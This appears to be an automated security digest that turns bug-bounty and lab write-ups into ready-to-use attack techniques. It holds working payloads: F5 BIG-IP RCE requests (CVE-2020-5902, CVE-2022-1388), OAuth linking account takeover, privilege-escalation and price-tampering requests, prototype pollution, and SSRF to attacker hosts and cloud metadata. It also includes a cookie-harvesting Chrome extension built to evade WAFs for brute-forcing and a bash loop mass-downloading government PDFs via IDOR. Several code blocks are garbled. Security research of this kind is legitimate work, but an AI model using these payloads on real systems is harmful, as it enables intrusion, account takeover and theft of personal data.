

ETX Signal-X

Daily Intelligence Digest

Thursday, March 12, 2026

10

ARTICLES

19

TECHNIQUES

How to manually hunt for F5 Big-IP RCE (CVE 2020-5902, CVE2022-1388)

Source: securitycipher

Date: 08-Jun-2025

URL: <https://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e>

T1 F5 BIG-IP TMUI RCE via Path Traversal (CVE-2020-5902)

Payload

```
GET /tmui/login.jsp/../../../../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: <TARGET>
```

Attack Chain

- 1 Identify exposed F5 BIG-IP management interface (usually on port 443 or 8443).
- 2 Send crafted GET request with path traversal (`/tmui/login.jsp/../../../../`) to access internal JSP endpoint.
- 3 Specify sensitive file (e.g., `/etc/passwd`) in the `fileName` parameter to read arbitrary files.
- 4 Observe file contents in response (demonstrates arbitrary file read, can be chained to RCE).

Discovery

Manual fuzzing of F5 BIG-IP TMUI endpoints for path traversal and parameter injection. Researcher targeted known vulnerable paths and tested for traversal using encoded and obfuscated sequences.

Bypass

The use of `../../../../` in the path bypasses naive path sanitization logic in the F5 TMUI, allowing access to restricted JSP endpoints.

Chain With

File read can be escalated to RCE by targeting sensitive config files or chaining with upload/write primitives if present.

T2

F5 BIG-IP iControl REST RCE via Forged X-F5-Auth-Token (CVE-2022-1388)

Payload

```
POST /mgmt/tm/util/bash HTTP/1.1
Host: <TARGET>
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46
Content-Type: application/json
Content-Length: 49

{"command":"run","utilCmdArgs":"-c 'id'"}

```

Attack Chain

- 1 Locate F5 BIG-IP iControl REST endpoint (`/mgmt/tm/util/bash`).
- 2 Send POST request with `X-F5-Auth-Token` header set to any value (e.g., `a`).
- 3 Include `Authorization: Basic YWRtaW46` (base64 for `admin:`) to bypass authentication.
- 4 Supply JSON body to execute arbitrary shell command (e.g., `id`).
- 5 Observe command output in HTTP response (confirms RCE).

Discovery

Manual review of iControl REST API authentication logic and header handling. Researcher tested combinations of `X-F5-Auth-Token` and `Authorization` headers to bypass access controls.

Bypass

Supplying both `Connection: X-F5-Auth-Token` and `X-F5-Auth-Token` headers tricks the API into accepting arbitrary tokens and bypassing authentication checks.

Chain With

Direct RCE—can be chained with lateral movement, privilege escalation, or persistence techniques post-exploitation.

Third Party Account Linking Account Takeover

Source: securitycipher

Date: 26-Aug-2025

URL: <https://phlmox.medium.com/third-party-account-linking-account-takeover-971062e0c737>

T1

OAuth Account Linking CSRF via Missing State Parameter

Payload

```
GET /api/link/twitch HTTP/1.1
Host: target.com
Cookie: session=attacker-session

# Redirected to middleware server, which issues a JWT containing UserID and redirectURL, then
# redirects to Twitch OAuth:

Location: https://id.twitch.tv/oauth2/authorize?client_id=XXXX&redirect_uri=https://middleware.target.com/callback&twitch&response_type=code&scope=user:read:email

# After authenticating with Twitch, Twitch redirects back to middleware server with code:

GET /callback?twitch&code=ATTACKER_TWITCH_CODE HTTP/1.1
Host: middleware.target.com
Cookie: session=attacker-session

# Attacker intercepts this request, saves ATTACKER_TWITCH_CODE, and drops it.

# On victim's browser, attacker triggers the initial bind request:

GET /api/link/twitch HTTP/1.1
Host: target.com
Cookie: session=victim-session

# Then, attacker sends the callback request with their own code on victim's session:

GET /callback?twitch&code=ATTACKER_TWITCH_CODE HTTP/1.1
Host: middleware.target.com
Cookie: session=victim-session
```

Attack Chain

- 1 Attacker initiates OAuth linking with their own Twitch account, intercepts the callback with the authorization code (ATTACKER_TWITCH_CODE), and drops the request.
- 2 Attacker triggers the social account linking flow on the victim's account (e.g., via CSRF or social engineering), causing the victim's session to be ready for linking.
- 3 Attacker sends the OAuth callback request to the middleware endpoint using the victim's session but with their own (attacker's) Twitch authorization code.
- 4 The middleware links the attacker's Twitch account to the victim's main account.
- 5 Attacker can now log in to the victim's account using their own Twitch credentials.

Discovery

Manual review of the OAuth linking flow revealed the absence of the state parameter and lack of custom CSRF protections. The use of GET for both the initial and callback requests, and the ability to replay the callback with an attacker's code, indicated a possible account linking CSRF.

Bypass

No state parameter or custom CSRF tokens are present. Both requests are GET, so SameSite cookies do not mitigate the attack. The attack works even if the victim never completes the OAuth flow.

Chain With

Can be chained with session fixation or social engineering to automate mass account takeovers. If other third-party providers are similarly implemented, attack can be repeated for Google, Telegram, etc.

Unlocking Restricted Features: A Vulnerability Analysis of Organization's Role Management

Source: securitycipher

Date: 20-Sep-2024

URL: <https://0xmatrix.medium.com/unlocking-restricted-features-a-vulnerability-analysis-of-organizations-role-management-aa6a4f7bd0d3>

Privilege Escalation via Unauthorized Advanced Moderation Permission Assignment

Payload

```
PATCH /dashboard_api/organization_member_roles/{role_id}/
Content-Type: application/json
Authorization: Bearer <attacker_admin_token>

{ "permissions": [ "moderation.advanced" ] } { "permissions": [ "moderation.advanced" ] }
```

Attack Chain

- 1 Attacker is invited to the organization as an Admin (not Owner).
- 2 Attacker creates a custom role with all available permissions except "advanced moderation" (which is restricted to Owners only).
- 3 Attacker intercepts the PATCH request to `/dashboard\_api/organization\_member\_roles/{role\_id}/` when editing the custom role.
- 4 Attacker modifies the request body, replacing `"moderation.basic"` with `"moderation.advanced"`.
- 5 Attacker sends the modified request.
- 6 Server responds with 200 OK, granting the custom role advanced moderation privileges.
- 7 Attacker assigns themselves this custom role, gaining access to Owner-only moderation features (e.g., managing moderator groups, advanced moderation controls).

Discovery

Manual testing of the role management UI revealed that advanced moderation could not be assigned via the frontend. Intercepting and manipulating the API request exposed the lack of backend enforcement.

Bypass

The backend fails to validate that only Owners can assign `moderation.advanced`, trusting the client-side restriction.

Chain With

Combine with further role modifications to create persistent backdoors. Use elevated privileges to access logs, ticket management, or escalate other users.

T2

Adding Arbitrary Users as Moderators via Review Queue Manipulation

Payload

```
POST /moderation_engine_api/v2/review_queues
Content-Type: application/json
Authorization: Bearer <attacker_token>

{  "moderatorIds": [31002582, 31002587]}{"moderatorIds":[31002582, 31002587]}
```

Attack Chain

- 1 Attacker (with escalated or even default privileges) attempts to create a moderator group via the UI, which restricts adding only Owners as moderators.
- 2 Attacker intercepts the POST request to `/moderation\_engine\_api/v2/review\_queues`.
- 3 Attacker modifies the `moderatorIds` array in the request body to include any user IDs within the organization, regardless of their role.
- 4 Attacker sends the modified request.
- 5 Server responds with 200 OK, and the specified users (even low-privileged) are now moderators in the group.

Discovery

Observed that the UI only permitted Owners as moderators. Intercepting and editing the API request revealed lack of server-side enforcement on `moderatorIds`.

Bypass

Server does not validate that only Owners can be assigned as moderators, trusting the client-side restriction.

Chain With

Assign attacker-controlled or compromised accounts as moderators for persistence. Combine with privilege escalation to create shadow moderation groups or exfiltrate sensitive moderation data.

Live Love WAF—Skirt the firewalls or die trying

Source: securitycipher

Date: 04-Feb-2025

URL: https://medium.com/@l_s_/live-love-waf-skirt-the-firewalls-or-die-trying-4120facb41c8

T1

Automated Cookie Harvesting via Chrome Extension to Bypass Kasada WAF JS Challenges

 Payload

```

const activeTabIds = new Set();
let intervalId = null;
// This function does the cookie downloading
function savePromise(tabId) {
  return new Promise((resolve, reject) => {
    const domain = "http://www.targethotel.com";
    chrome.cookies.get({ url: domain, name: "custom_cookie" }, (cookie) => {
      if (cookie) {
        console.log(`Cookie 'custom_cookie' value: ${cookie.value}`);
        const textContent = `${cookie.value}`;
        const data = btoa(textContent);
        const filename = 'cookie.txt';
        const url = `data:text/plain;base64,${data}`;
        chrome.downloads.download({
          filename,
          url,
          conflictAction: 'overwrite'
        }, (downloadId) => {
          if (chrome.runtime.lastError) {
            reject(chrome.runtime.lastError);
          } else {
            resolve(downloadId);
          }
        });
      } else {
        reject(new Error("Cookie 'custom_cookie' not found on targethotel.com."));
      }
    });
  });
}

// Function to delete cookies
function deleteCookie(cookie) {
  const protocol = cookie.secure ? 'https:' : 'http:';
  const cookieUrl = `${protocol}://${cookie.domain}${cookie.path}`;
  return chrome.cookies.remove({
    url: cookieUrl,
    name: cookie.name,
    storeId: cookie.storeId
  });
}

// Function to delete the site's cookies
async function deleteDomainCookies(domain) {
  try {
    const cookies = await chrome.cookies.getAll({ domain });
    await Promise.all(cookies.map(deleteCookie));
    return `Deleted ${cookies.length} cookie(s).`;
  } catch (error) {
    throw new Error(`Unexpected error: ${error.message}`);
  }
}

// Clean up chrome tabs
async function cleanupTab(tabId) {
  try {
    if (activeTabIds.has(tabId)) {
      activeTabIds.delete(tabId);
    }
  }
}

```

```

        await chrome.tabs.remove(tabId);
        console.log(`Successfully cleaned up tab ${tabId}`);
    }
} catch (error) {
    console.error(`Error cleaning up tab ${tabId}:`, error);
}
}

function setTabTimeout(tabId) {
    setTimeout(async () => {
        if (activeTabIds.has(tabId)) {
            console.log(`Tab ${tabId} timed out, cleaning up`);
            await cleanupTab(tabId);
        }
    }, 30000); //
}

// Tab update handler
async function handleTabUpdate(tabId, changeInfo, tab) {
    if (changeInfo.status === "complete" &&
        tab.url &&
        tab.url.includes("targethotel.com") &&
        activeTabIds.has(tabId)) {
        try {
            await new Promise(resolve => setTimeout(resolve, 5000));
            if (!activeTabIds.has(tabId)) {
                console.log(`Tab ${tabId} was already cleaned up, skipping processing`);
                return;
            }
            // Execute operations sequentially
            await savePromise(tabId);
            await deleteDomainCookies('targethotel.com');
            // Clean up
            await cleanupTab(tabId);
        } catch (error) {
            console.error(`Error processing tab ${tabId}:`, error);
            await cleanupTab(tabId);
        }
    }
}

function stopInterval() {
    if (intervalId) {
        clearInterval(intervalId);
        intervalId = null;
    }
}

// Main interval function
function startInterval() {
    // Stop any existing interval
    stopInterval();
    // Remove any existing listeners to prevent duplicates
    chrome.tabs.onUpdated.removeListener(handleTabUpdate);
    chrome.tabs.onUpdated.addListener(handleTabUpdate);
    // Clean up any existing tabs
    activeTabIds.forEach(async (tabId) => {
        await cleanupTab(tabId);
    });
}

```

```

intervalId = setInterval(async () => {
  try {
    // Check if we have too many active tabs
    if (activeTabIds.size >= 3) {
      console.log('Too many active tabs, cleaning up oldest');
      const oldestTabId = Array.from(activeTabIds)[0];
      await cleanupTab(oldestTabId);
    }
    const tab = await chrome.tabs.create({ url: "https://targethotel.com" });
    activeTabIds.add(tab.id);
    setTabTimeout(tab.id);
    console.log(`Created new tab ${tab.id}`);
  } catch (error) {
    console.error(`Error creating tab:`, error);
  }
}, 30000);
startInterval();
chrome.runtime.onSuspend.addListener(() => {
  stopInterval();
  activeTabIds.forEach(async (tabId) => {
    await cleanupTab(tabId);
  });
});
});

```

Attack Chain

- 1 Manually open https://targethotel.com in a real Chrome browser to trigger the Kasada JS challenge.
- 2 Use the custom Chrome extension to:
- 3 Run a separate brute-forcing script (e.g., Python) that reads the latest valid `custom\_cookie` from the file and uses it for up to ~500 requests to endpoints like `https://targethotel.com/location/4-digit-code`.
- 4 When the cookie expires or after a set number of requests, reload a new cookie from the file and continue brute-forcing.

Discovery

Initial brute force attempts using FFUF and automated browsers (Selenium, Playwright, Puppeteer) failed due to Kasada WAF's advanced JS-based browser fingerprinting and session cookie validation. Manual browser sessions succeeded, revealing the need for real browser-based cookie harvesting.

Bypass

Kasada WAF only issues valid session cookies after a real browser completes the JS challenge. Automated tools and headless browsers are detected and blocked. The extension automates the process of using a real browser to generate valid cookies, which are then reused by the brute force script, bypassing the JS challenge and session validation. Session cookies are valid for ~400-500 requests before invalidation, allowing for sustained brute force without triggering WAF blocks.

Chain With

Can be combined with horizontal scaling (multiple machines/browsers) to speed up brute force attacks. Can be chained with additional Akamai WAF bypass logic (see next technique) to avoid rate limiting and IP bans.

T2

Akamai WAF Rate Limiting Evasion via Thread/Concurrency Control

Payload

```
# Not a code payload, but a process constraint:
# Limit brute-forcing script to 2 concurrent threads to avoid Akamai 403 blocks.
# Example (Python pseudocode):
from concurrent.futures import ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=2) as executor:
    # submit brute force tasks here
    ...
```

Attack Chain

- 1 Run the brute-forcing script (targeting `https://targethotel.com/location/4-digit-code`) using the valid cookies harvested by the Chrome extension.
- 2 Monitor for HTTP 403 responses from Akamai WAF, which indicate rate limiting or IP bans.
- 3 Adjust the number of concurrent threads to 2 (or lower) to avoid triggering Akamai's rate limit thresholds.
- 4 Continue brute-forcing at this concurrency level to maximize throughput without being blocked.

Discovery

Observed that increasing request concurrency or speed resulted in Akamai WAF returning 403 blocks and temporary IP bans. Empirically determined that limiting to 2 threads avoided triggering the WAF.

Bypass

Akamai WAF enforces rate limits based on request concurrency and speed. Keeping concurrency at or below 2 threads avoids detection and blocking.

Chain With

Combine with the cookie harvesting technique to maintain a steady supply of valid session cookies while maximizing brute force throughput. Can be horizontally scaled across multiple machines with independent IPs to further increase attack speed without hitting rate limits.

T3

Session Cookie Reuse Window for Bulk Requests

Payload

```
# Not a direct code payload, but a session management logic:
# Each valid 'custom_cookie' is good for ~400-500 requests before invalidation.
# Example brute force loop:
for code in codes:
    if requests_with_current_cookie >= 400:
        custom_cookie = get_new_cookie()
        requests_with_current_cookie = 0
    send_request_with_cookie(code, custom_cookie)
    requests_with_current_cookie += 1
```

Attack Chain

- 1 Use a valid `custom\_cookie` harvested from a real browser session.
- 2 Send up to ~400-500 requests with the same cookie to `https://targethotel.com/location/4-digit-code`.
- 3 When responses start returning 200 with empty body or 429, rotate to a new cookie harvested by the extension.
- 4 Repeat the process to maximize brute force coverage before each cookie expires.

Discovery

Empirically observed that each session cookie remained valid for a fixed number of requests (~400-500) before being invalidated by the Kasada WAF.

Bypass

By rotating cookies before reaching the invalidation threshold, the attacker avoids triggering WAF blocks and maintains uninterrupted brute force attempts.

Chain With

Can be chained with the extension-based cookie harvesting and Akamai concurrency control for sustained, large-scale brute force attacks.

Explotando Vulnerabilidades de Validación de Entrada en un Workflow de Compras — Web Sec Academy

Source: securitycipher

Date: 26-Jun-2024

URL: <https://zhunter12.medium.com/explotando-vulnerabilidades-de-validaci%C3%B3n-de-entrada-en-un-workflow-de-compras-web-sec-academy-a1e3265c46b8>

T1

Price Manipulation via Client-Side Parameter Tampering

Payload

```
POST /cart/add HTTP/1.1
Host: targetsite.com
Cookie: session=...;
Content-Type: application/x-www-form-urlencoded
Content-Length: ...

product_id=5&price=1
```

Attack Chain

- 1 Authenticate to the web application using valid credentials (e.g., user: wiener, password: peter).
- 2 Browse to the product listing and select the target item ("Lightweight l33t leather jacket").
- 3 Intercept the HTTP request sent when adding the item to the cart (using Burp Suite or similar proxy).
- 4 Identify the `price` parameter in the request body.
- 5 Modify the `price` value to a significantly lower amount (e.g., from the real price to `1`).
- 6 Forward the modified request to the server.
- 7 Verify in the shopping cart UI that the altered price is reflected.
- 8 Complete the checkout process and confirm the order is processed at the manipulated price.

Discovery

Manual inspection of intercepted HTTP requests during the add-to-cart workflow revealed a client-controllable `price` parameter. The researcher suspected a lack of server-side validation and tested by lowering the value.

Bypass

No server-side validation or recalculation of price; the backend trusts the client-supplied `price` value, allowing direct tampering.

Chain With

Can be chained with coupon/discount logic flaws for further price reductions or negative pricing. May be used to purchase restricted/limited items at arbitrary prices if combined with inventory logic flaws. Potential for privilege escalation if combined with IDOR on order history or invoice endpoints.

deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue w

Source: threatable

Date:

URL: <https://github.com/sharpred/deepHas/commit/8097fafd3776c613d8066546653e0d2c7b5fc465>

T1 Prototype Pollution via Overridden hasOwnProperty

Payload

```
Object.prototype.hasOwnProperty = () => true;
dh.set(obj, 'constructor.prototype.polluted', 'yes');
```

Attack Chain

- 1 Override `Object.prototype.hasOwnProperty` to always return `true`.
- 2 Initialize an empty object: `obj = {}`.
- 3 Call `dh.set(obj, 'constructor.prototype.polluted', 'yes');` to attempt to set a property on the prototype chain.
- 4 Check that `obj.polluted` does not exist directly, but the prototype chain is now polluted.

Discovery

Analysis of the test file `testVulnerability2.js` revealed that overriding `hasOwnProperty` can bypass property checks in the deepHas `set` function, allowing prototype pollution via the `constructor.prototype` path.

Bypass

By overriding `hasOwnProperty`, the code bypasses internal checks that would normally prevent pollution of prototype properties, enabling the attack.

Chain With

Polluted prototype properties can be leveraged for privilege escalation, arbitrary code execution, or global object manipulation in downstream code that trusts object structure.

T2

Prototype Pollution via Overridden String.indexOf

Payload

```
String.prototype.indexOf = () => -1;  
dh.set(obj, '__proto__.polluted', 'yes');
```

Attack Chain

- 1 Override `String.prototype.indexOf` to always return `-1`.
- 2 Initialize an empty object: `obj = {}`.
- 3 Call `dh.set(obj, '\_\_proto\_\_.polluted', 'yes');` to attempt to set a property on the `\_\_proto\_\_` path.
- 4 Validate that `obj.polluted` does not exist directly, and `obj.hasOwnProperty('polluted')` is `false`, but the prototype chain is polluted.

Discovery

Analysis of the test file `testVulnerability3.js` showed that overriding `String.prototype.indexOf` to always return `-1` bypasses the string-based filter for `\_\_proto\_\_`, allowing prototype pollution via the `\_\_proto\_\_` path.

Bypass

By manipulating `String.prototype.indexOf`, the code bypasses the check for forbidden keys (like `\_\_proto\_\_`), allowing the pollution of the prototype chain.

Chain With

Prototype pollution through `\_\_proto\_\_` can lead to severe application compromise, including arbitrary property injection and potential RCE in code that trusts object properties.

Lab: Insufficient workflow validation

Source: securitycipher

Date: 05-Jan-2026

URL: <https://songulkizilay.medium.com/lab-insufficient-workflow-validation-94b7f069fbec>

T1 Order Confirmation Logic Abuse for Free Purchase

Payload

```
GET /cart/order-confirmation HTTP/1.1
Host: <target>
Cookie: session=<valid_session_cookie>
[Other required headers]
```

Attack Chain

- 1 Log in as a normal user (e.g., wiener:peter) with valid store credit.
- 2 Purchase a cheap item legitimately and intercept the `GET /cart/order-confirmation` request after checkout.
- 3 Add an expensive item (e.g., "Lightweight l33t leather jacket") to the cart but do NOT proceed through checkout or payment.
- 4 Without making any payment or reducing store credit, replay the previously captured `GET /cart/order-confirmation` request in Burp Repeater.
- 5 The expensive item is marked as purchased without payment.

Discovery

Manual workflow analysis—researcher questioned whether the order confirmation endpoint actually validated payment, and tested by replaying the confirmation step out of sequence.

Bypass

The application assumes reaching the order confirmation endpoint means payment was completed, but does not enforce server-side state validation. State-changing action is triggered by a GET request, allowing bypass of the payment process.

Chain With

Can be chained with cart manipulation or session fixation to automate mass purchases of expensive items without payment. Potential for privilege escalation if combined with account takeover or session hijacking.

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Proxy with External URL Injection

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1t1i8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (compatible;)
Accept: */*
Connection: close
```

Attack Chain

- 1 Identify a Cloudflare image proxy endpoint at `/cdn-cgi/image/` on the target subdomain.
- 2 Confirm that the endpoint accepts fully-qualified external URLs as the image source.
- 3 Set up an OAST server (e.g., interactsh-client) to receive and log HTTP requests.
- 4 Craft a request to `/cdn-cgi/image/` with the OAST server URL as the image path.
- 5 Send the request and monitor the OAST server for inbound connections from Cloudflare IPs.
- 6 Confirm SSRF if the OAST server logs requests originating from Cloudflare infrastructure.

Discovery

Reconnaissance of subdomains revealed Cloudflare image proxy usage. Suspicion was triggered by the endpoint accepting asset URLs in the path. Testing with an external OAST domain confirmed server-side fetches.

Bypass

The endpoint did not restrict to relative paths or enforce an allowlist, allowing arbitrary external URLs to be fetched server-side.

Chain With

Internal network scanning (e.g., `http://localhost:8080/`, `http://10.0.0.0/8`) Cloud metadata exfiltration (e.g., AWS: `http://169.254.169.254/latest/meta-data/`) Bypassing IP-based firewalls (accessing internal-only admin panels) XSS via malicious SVGs if the proxy renders SVGs and output is reflected in the frontend

T2

Stored XSS via SVG Chaining through Image Proxy SSRF

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (compatible;)
Accept: */*
Connection: close
```

Attack Chain

- 1 Host a malicious SVG file containing JavaScript payload on an attacker-controlled server.
- 2 Supply the SVG URL to the `/cdn-cgi/image/` endpoint as the image path.
- 3 If the application or downstream consumers render the proxied SVG in a vulnerable frontend, the JavaScript executes, resulting in stored XSS.

Discovery

Identified during SSRF testing when considering possible escalation vectors. The author notes that SVGs passed through the proxy could be rendered by the frontend, leading to XSS if not sanitized.

Bypass

No SVG filtering or content-type validation on the image proxy endpoint. The proxy fetches and serves the SVG as-is.

Chain With

Combine with SSRF to deliver XSS payloads into internal dashboards or user-facing panels Potential for privilege escalation or session hijacking if SVG is rendered in authenticated contexts

T3

Cloud Metadata Exfiltration via SSRF to Internal Cloud Endpoints

Payload

```
GET /cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (compatible;)
Accept: */*
Connection: close
```

Attack Chain

- 1 Craft a request to the image proxy endpoint with the internal AWS metadata service URL as the image path.
- 2 Send the request to the target.
- 3 If the proxy fetches and returns the metadata, exfiltrate sensitive credentials or tokens from the response.

Discovery

Standard SSRF escalation vector considered after confirming arbitrary URL fetch. The author explicitly lists cloud metadata endpoints as high-value targets.

Bypass

No IP filtering or blocklist for internal IP ranges (e.g., 169.254.x.x) on the image proxy.

Chain With

Use obtained cloud credentials for privilege escalation, lateral movement, or full cloud account compromise
Combine with other SSRF primitives for deeper internal reconnaissance

IDOR To Massive Government Data Leak

Source: securitycipher

Date: 19-Jan-2024

URL: <https://bishal0x01.medium.com/idor-to-massive-government-data-leak-e8ad510d7e5>

T1 Unauthenticated IDOR for Arbitrary PDF Retrieval

Payload

```
GET /Display/RetrievePDF?Id=1337 HTTP/1.1
Host: redact.gov
```

Attack Chain

- 1 Identify the unauthenticated endpoint: `https://redact.gov/Display/RetrievePDF?Id=1337` (or similar)
- 2 Change the `Id` parameter to any integer value to access different users' PDF files
- 3 Directly download sensitive PDF documents without authentication or authorization

Discovery

Observed a redirect from a legitimate receipt download flow (`/cart/receipt.aspx`) to a PDF retrieval endpoint. Manual parameter tampering on `Id` revealed access to other users' files without authentication.

Bypass

No authentication or authorization checks present on the endpoint. Direct object reference via `Id` parameter is sufficient to access arbitrary files.

Chain With

Combine with user enumeration or leaked IDs from other endpoints to target specific high-value documents Use as a data source for downstream attacks (e.g., phishing, identity theft, credential stuffing if PDFs contain PII)

T2

Automated Mass Data Exfiltration via Bash Script

Payload

```
#!/bin/bash# check if start and end arguments were providedif [ -z "$1" ] || [ -z "$2" ]; then    echo "Error: Please provide a start and end filingId as arguments."    exit 1fi start=$1end=$2for ((i=start; i<=end; i++)); do    # construct the URL with the current filingId    url="https://redact.gov/Display/RetrievePDF?Id=$i"# download the file using curl    curl -o "filing-$i.pdf" $url# check if the download was successful    if [ $? -eq 0 ]; then        echo "Successfully downloaded file $i to filing-$i.pdf"    else        echo "Error: Failed to download file $i"    fi done
```

Attack Chain

- 1 Write or adapt a script to iterate over a range of `Id` values (e.g., 500 to 10000)
- 2 For each `Id`, send a GET request to the unauthenticated endpoint (`/Display/RetrievePDF?Id=...`)
- 3 Save all successfully retrieved files for offline analysis

Discovery

After confirming the IDOR, hypothesized that the lack of rate limiting and authentication would allow for mass exploitation. Developed a Bash script to automate bulk downloads and verified that hundreds of files could be exfiltrated.

Bypass

No rate limiting, authentication, or anti-automation controls present. Sequential `Id` enumeration is effective for mass data extraction.

Chain With

Use harvested PDFs for further social engineering, targeted attacks, or to cross-reference with other leaks Potential for chaining with other unauthenticated endpoints for broader data aggregation

Bugged by Backup Files: How .zip and .bak Gave Me the Source Code

Source: securitycipher

Date: 03-May-2025

URL: <https://infosecwriteups.com/bugged-by-backup-files-how-zip-and-bak-gave-me-the-source-code-872a376b0b2b>

T1 Enumerating and Downloading Exposed Backup Files for Source Code Disclosure

Payload

```
https://dev.target.com/backup-site.bak
```

Attack Chain

- 1 Use subdomain enumeration (e.g., subfinder) to collect all subdomains for the target.
- 2 Probe all discovered subdomains for HTTP 200 responses using httpx or similar tools.
- 3 Use gau (GetAllUrls) to collect all URLs, including historical and JS-referenced endpoints.
- 4 Filter the URLs for backup-related file extensions using:
- 5 Manually or programmatically request each filtered URL (e.g., `https://dev.target.com/backup-site.bak`).
- 6 If accessible, download the file and inspect for sensitive content (e.g., source code, .env files, credentials).

Discovery

Recon script flagged a .bak file during mass enumeration of URLs with backup-related extensions. The researcher specifically filtered for extensions like .zip, .tar, .bak, .tar.gz, and .rar, leading to the discovery of an exposed backup file containing source code.

Bypass

Not explicitly described, but the technique leverages the lack of access controls on backup files that are not intended to be public. No authentication or obfuscation was present on the discovered file.

Chain With

Extracted source code or .env files may contain credentials, API keys, or internal endpoints for further exploitation (e.g., privilege escalation, lateral movement, credential stuffing, or chaining with RCE if secrets are found). May lead to additional vulnerabilities such as hardcoded secrets, logic flaws, or direct code review for further bug discovery.

T2

Filtering Recon Output for Backup Extensions to Maximize Discovery

Payload

```
cat urls.txt | grep -Ei "\.zip$|\.tar$|\.bak$|\.tar.gz$|\.rar$" > backups.txt
```

Attack Chain

- 1 Run gau or similar tools to collect all possible URLs referencing the target (including JS and historical URLs).
- 2 Use a regular expression to filter for URLs ending in backup-related extensions (.zip, .tar, .bak, .tar.gz, .rar).
- 3 Save the filtered list for targeted manual or automated download attempts.

Discovery

The researcher intentionally filtered recon output for backup file extensions, increasing the likelihood of finding exposed archives and backup files that are often overlooked by standard parameter-based recon.

Bypass

This technique bypasses traditional recon focus on parameters (e.g., ?id=) by targeting file extension patterns, catching files that would not be found by parameter brute-forcing or directory brute-forcing alone.

Chain With

Can be combined with directory brute-forcing or JS file analysis to find additional backup file references. Downloaded archives may contain further attack surface (e.g., database dumps, configuration files, or internal documentation).